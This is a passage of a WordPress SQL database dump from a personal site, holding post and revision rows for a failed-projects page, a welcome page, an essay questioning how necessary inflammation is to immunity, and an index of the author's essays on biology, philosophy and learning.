-->\n<p><strong>Hypothesis</strong>: something similar to Slice, where receipts would get extracted from the email. Not sure why I thought this was a good idea, to be honest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: ehh...</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><b>W</b><strong>hy it failed</strong>: I did almost no research beforehand.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned: </strong>research beforehand (I learned this again).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Collaborative to-do list instead of email</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothesis</strong>: considering how many emails are either to-dos or checking on to-dos, it\'d be better if that was simply built into the email instead. I even created a name/app for it, <a href=\"http://nomorefollowups.com\">nomorefollowups.com</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Evidence</strong>: seemed self-evident, but the big question was always if people were willing to let it be part of their email process</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Why it failed</strong>: I initially planned it to be something my brother\'s company would use, which he agreed to. Then they got crazy busy, and no longer wanted to change any of their task management processes. I lost interest in promoting it because I never was that into it in the first place.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>What I learned</strong>: if you\'re not willing to put in a lot of hours into promoting your business (e.g. if you don\'t really like the space), don\'t start it.</p>\n<!-- /wp:paragraph -->','Failed projects','','inherit','closed','closed','','12-revision-v1','','','2021-03-07 18:09:08','2021-03-07 18:09:08','',12,'https://trevorklee.com/2021/03/07/12-revision-v1/',0,'revision','',0),
(34,1,'2021-03-07 18:09:44','2021-03-07 18:09:44',' ','','','publish','closed','closed','','34','','','2021-03-07 18:09:44','2021-03-07 18:09:44','',0,'https://trevorklee.com/?p=34',3,'nav_menu_item','',0),
(35,1,'2021-03-07 18:09:44','2021-03-07 18:09:44',' ','','','publish','closed','closed','','35','','','2021-03-07 18:09:44','2021-03-07 18:09:44','',0,'https://trevorklee.com/?p=35',2,'nav_menu_item','',0),
(36,1,'2021-03-07 18:09:44','2021-03-07 18:09:44',' ','','','publish','closed','closed','','36','','','2021-03-07 18:09:44','2021-03-07 18:09:44','',0,'https://trevorklee.com/?p=36',1,'nav_menu_item','',0),
(38,1,'2021-03-07 18:16:40','2021-03-07 18:16:40','','Trevor-Klee-a-full-time-tutor','','inherit','open','closed','','trevor-klee-a-full-time-tutor','','','2021-03-07 18:16:40','2021-03-07 18:16:40','',27,'https://trevorklee.com/wp-content/uploads/2021/03/Trevor-Klee-a-full-time-tutor.jpg',0,'attachment','image/jpeg',0),
(39,1,'2021-03-07 18:17:40','2021-03-07 18:17:40','<!-- wp:paragraph -->\n<p>If you\'re interested in learning more about me, I\'d recommend starting with <a href=\"https://trevorklee.com/sample-page/\" data-type=\"page\" data-id=\"2\"><span style=\"color:#0a4fc7\" class=\"has-inline-color\">my current projects</span></a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, you can also look at <a href=\"https://trevorklee.com/failed-hypotheses/\" data-type=\"page\" data-id=\"12\"><span style=\"color:#0b28c8\" class=\"has-inline-color\">my failed projects</span></a>, because what are successes without failures?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, I\'ve written a lot. A lot a lot. If you\'re interested in philosophy, learning, biology, or general science, you should read <a href=\"https://trevorklee.com/essays/\" data-type=\"page\" data-id=\"22\"><span style=\"color:#0c2ad7\" class=\"has-inline-color\">my essays</span></a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you\'re interested in what I look like, I\'ve put a photo of me below. Get ready for it!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"align\":\"center\",\"id\":38,\"width\":262,\"height\":660,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https://trevorklee.com/wp-content/uploads/2021/03/Trevor-Klee-a-full-time-tutor-407x1024.jpg\" alt=\"\" class=\"wp-image-38\" width=\"262\" height=\"660\"/><figcaption>Wow, what a photo!</figcaption></figure></div>\n<!-- /wp:image -->','Welcome to my page!','','inherit','closed','closed','','27-revision-v1','','','2021-03-07 18:17:40','2021-03-07 18:17:40','',27,'https://trevorklee.com/2021/03/07/27-revision-v1/',0,'revision','',0),
(40,1,'2021-03-09 16:36:46','2021-03-09 16:36:46','<!-- wp:paragraph -->\n<p>As I’ve pursued my independent research into biotech, one of my enduring mysteries has been what exactly the role of inflammation is in the immune system.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I know the orthodox answer. The orthodox answer is that the immune system recognizes and fights pathogens. Inflammation is part of the immune system and helps it function, like in a localized infection or a fever. Sometimes the immune system goes awry and causes inflammation where it shouldn’t, like in asthma or rheumatoid arthritis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is the answer I believed for a long time. But, if this were true, inflammation should be a helpful part of the immune system. Blocking inflammation should be really dangerous, leading inevitably to infection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t the case, though. We block inflammation all the time with ibuprofen and acetaminophen, like when we give these drugs to children for their fevers. Overall, these drugs both reduce fever and are, generally, <a href=\"https://jamanetwork.com/journals/jamapediatrics/fullarticle/485730\">as safe as placebo</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, you might think, “Oh, well that’s just because fever is an excess of inflammation. Surely some inflammation is necessary”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, let’s take a look at a more serious anti-inflammatory drug, adalimumab, which you might know as Humira. Adalimumab is a monoclonal antibody, which are compounds designed to bind to certain receptors on cells. In autoimmune diseases, they’re used to bind to certain types of immune cells to stop them from working or even to destroy them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Adalimumab targets tumor necrosis factor alpha (TNFα). TNFα is an incredibly important part of the inflammation process, implicated throughout the body in all sorts of inflammatory processes. Arthritis, diabetes, skin infections, obesity, asthma, sepsis: basically, if there’s inflammation, it’s a safe bet TNFα is involved.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Adalimumab is a very efficient blocker of TNFα. <a href=\"https://stm.sciencemag.org/content/11/477/eaat3356.full\">Almost all TNF-alpha in treated patients is blocked by adalimumab</a>. As a result, TNFα is also a very efficient blocker of inflammation. For example, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3002485/\">up to 36% of Crohn\'s Disease patients go into remission with adalimumab</a>, compared to 12% on placebo. 50% of patients see a significant decrease in their Crohn\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, despite the fact that these patients have their body’s ability to create inflammation significantly decreased, they are generally ok. <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3002485/#bibr3-1756283X08092548\">0.9% of treated patients develop cancer over the course of 3-12 months, compared to 0.2% of those on placebo</a>. About 45% of adalimumab-treated patients with Crohn\'s disease do develop infections over the course of year, which sounds high, except that <a href=\"https://www.gastrojournal.org/article/S0016-5085(06)02522-4/fulltext?referrer=https%3A%2F%2Fpubmed.ncbi.nlm.nih.gov%2F\">37% of placebo-treated patients also do</a> (note that placebo-treated patients are likely on other immunosuppressive drugs as well).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This also fits in with other data. When we look at COVID-19, which has been studied a lot among patients on immunosuppressants like adalimumab, we find that <a href=\"https://pubmed.ncbi.nlm.nih.gov/32425234/\">adalimumab is not associated with severe COVID-19 among patients with inflammatory bowel disease</a>. Similarly, <a href=\"https://pubmed.ncbi.nlm.nih.gov/32970921/\">ibuprofen is also not associated with severe COVID-19</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, promoting inflammation is not helpful for infections. We know this because we have a big group of people in the United States who are constantly in a low level of inflammation: obese people. Fat cells produce inflammation, which is why obesity is associated with both <a href=\"https://pubmed.ncbi.nlm.nih.gov/30547890/\">systemic inflammation</a> and a range of inflammatory-related disorders.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You might naively think that this means their body’s on high alert all the time, always ready to fight off any infection. But this isn’t the case. Obese people are more likely to <a href=\"https://medicalxpress.com/news/2021-02-obesity-infection-link-treatment-healthy.html\">get skin infections</a>, <a href=\"https://www.cdc.gov/mmwr/volumes/70/wr/mm7010e4.htm#F2_down\">severe COVID</a>, and <a href=\"https://academic.oup.com/jid/article/218/9/1378/5051913\">shed influenza A (but not B) for longer than nonobese people</a>. All that inflammation is somehow worse for their ability to fight off these infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At this point, you might just be ready to throw inflammation out. But I wouldn’t recommend that. In the same study that studied adalimumab in COVID-19, they found that corticosteroids, which are also anti-inflammatory, are associated with a 7 times greater risk of severe COVID 19 in those patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, corticosteroids are not the same thing as ibuprofen or adalimumab. Corticosteroids are naturally occurring compounds in the body with a huge range of effects. They generally upregulate anti-inflammatory proteins and down regulate proinflammatory proteins, but they also have effects on <a href=\"https://en.wikipedia.org/wiki/Glucocorticoid#Effects\">metabolism, cognition, and arousal</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Still, I’m left in confusion. Exactly how necessary is inflammation? If it’s not that necessary, then evolution has somehow left us with a useless, metabolically expensive system that frequently breaks down and makes us sick. If it is necessary, then it’s surprising that inhibiting it in such drastic ways is generally an ok thing to do.</p>\n<!-- /wp:paragraph -->','What is the role of inflammation in the immune system?','','publish','closed','closed','','what-is-the-role-of-inflammation-in-the-immune-system','','','2021-03-10 04:44:03','2021-03-10 04:44:03','',0,'https://trevorklee.com/?page_id=40',0,'page','',0),
(41,1,'2021-03-09 16:36:46','2021-03-09 16:36:46','<!-- wp:paragraph -->\n<p>As I’ve pursued my independent research into biotech, one of my enduring mysteries has been what exactly the role of inflammation is in the immune system.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I know the orthodox answer. The orthodox answer is that the immune system recognizes and fights pathogens. Inflammation is part of the immune system and helps it function, like in a localized infection or a fever. Sometimes the immune system goes awry and causes inflammation where it shouldn’t, like in asthma or rheumatoid arthritis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is the answer I believed for a long time. But, if this were true, inflammation should be a helpful part of the immune system. Blocking inflammation should be really dangerous, leading rapidly to infection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t the case, though. We block inflammation all the time with ibuprofen and acetaminophen, like when we give these drugs to children for their fevers. Overall, these drugs both reduce fever and are, generally, <a href=\"https://jamanetwork.com/journals/jamapediatrics/fullarticle/485730\">as safe as placebo</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, you might think, “Oh, well that’s just because fever is an excess of inflammation. Surely some inflammation is necessary”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, let’s take a look at a more serious anti-inflammatory drug, adalimumab, which you might know as Humira. Adalimumab is a monoclonal antibody, which are compounds designed to bind to certain receptors on cells. In autoimmune diseases, they’re used to bind to certain types of immune cells to stop them from working or even to destroy them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Adalimumab targets tumor necrosis factor alpha (TNFα). TNFα is an incredibly important part of the inflammation process, implicated throughout the body in all sorts of inflammatory processes. Arthritis, diabetes, skin infections, obesity, asthma, sepsis: basically, if there’s inflammation, it’s a safe bet TNFα is involved.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Adalimumab is a very efficient blocker of TNFα. <a href=\"https://stm.sciencemag.org/content/11/477/eaat3356.full\">Almost all TNF-alpha in treated patients is blocked by adalimumab</a>. As a result, TNFα is also a very efficient blocker of inflammation. For example, <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3002485/\">up to 36% of Crohn\'s Disease patients go into remission with adalimumab</a>, compared to 12% on placebo. 50% of patients see a significant decrease in their Crohn\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, despite the fact that these patients have their body’s ability to create inflammation significantly decreased or even disabled, they are generally ok. <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3002485/#bibr3-1756283X08092548\">0.9% of treated patients develop cancer over the course of 3-12 months, compared to 0.2% of those on placebo</a>. About 45% of adalimumab-treated patients with Crohn\'s disease do develop infections over the course of year, which sounds high, except that <a href=\"https://www.gastrojournal.org/article/S0016-5085(06)02522-4/fulltext?referrer=https%3A%2F%2Fpubmed.ncbi.nlm.nih.gov%2F\">37% of placebo-treated patients also do</a> (note that placebo-treated patients are likely on other immunosuppressive drugs as well).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This also fits in with other data. When we look at COVID-19, which has been studied a lot among patients on immunosuppressants like adalimumab, we find that <a href=\"https://pubmed.ncbi.nlm.nih.gov/32425234/\">adalimumab is not associated with severe COVID-19 among patients with inflammatory bowel disease</a>. Similarly, <a href=\"https://pubmed.ncbi.nlm.nih.gov/32970921/\">ibuprofen is also not associated with severe COVID-19</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, promoting inflammation is not helpful for infections. We know this because we have a big group of people in the United States who are constantly in a low level of inflammation: obese people. Fat cells produce inflammation, which is why obesity is associated with both <a href=\"https://pubmed.ncbi.nlm.nih.gov/30547890/\">systemic inflammation</a> and a range of inflammatory-related disorders.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You might naively think that this means their body’s on high alert all the time, always ready to fight off any infection. But this isn’t the case. Obese people are more likely to <a href=\"https://medicalxpress.com/news/2021-02-obesity-infection-link-treatment-healthy.html\">get skin infections</a>, <a href=\"https://www.cdc.gov/mmwr/volumes/70/wr/mm7010e4.htm#F2_down\">severe COVID</a>, and <a href=\"https://academic.oup.com/jid/article/218/9/1378/5051913\">shed influenza A (but not B) for longer than nonobese people</a>. All that inflammation is somehow worse for their ability to fight off these infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At this point, you might just be ready to throw inflammation out. But I wouldn’t recommend that. In the same study that studied adalimumab in COVID-19, they found that corticosteroids, which are also anti-inflammatory, are associated with a 7 times greater risk of severe COVID 19 in those patients.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, corticosteroids are not the same thing as ibuprofen or adalimumab. Corticosteroids are naturally occurring compounds in the body with a huge range of effects. They generally upregulate anti-inflammatory proteins and down regulate proinflammatory proteins, but they also have effects on <a href=\"https://en.wikipedia.org/wiki/Glucocorticoid#Effects\">metabolism, cognition, and arousal</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Still, I’m left in confusion. Exactly how necessary is inflammation? If it’s not that necessary, then evolution has somehow left us with a useless, metabolically expensive system that frequently breaks down and makes us sick. If it is necessary, then it’s surprising that inhibiting it in such drastic ways is generally an ok thing to do.</p>\n<!-- /wp:paragraph -->','What is the role of inflammation in the immune system?','','inherit','closed','closed','','40-revision-v1','','','2021-03-09 16:36:46','2021-03-09 16:36:46','',40,'https://trevorklee.com/2021/03/09/40-revision-v1/',0,'revision','',0),
(43,1,'2021-03-09 16:38:37','2021-03-09 16:38:37','<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed hypotheses\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2021-03-09 16:38:37','2021-03-09 16:38:37','',22,'https://trevorklee.com/2021/03/09/22-revision-v1/',0,'revision','',0),
(44,1,'2021-03-09 16:38:43','2021-03-09 16:38:43','<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed hypotheses\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a 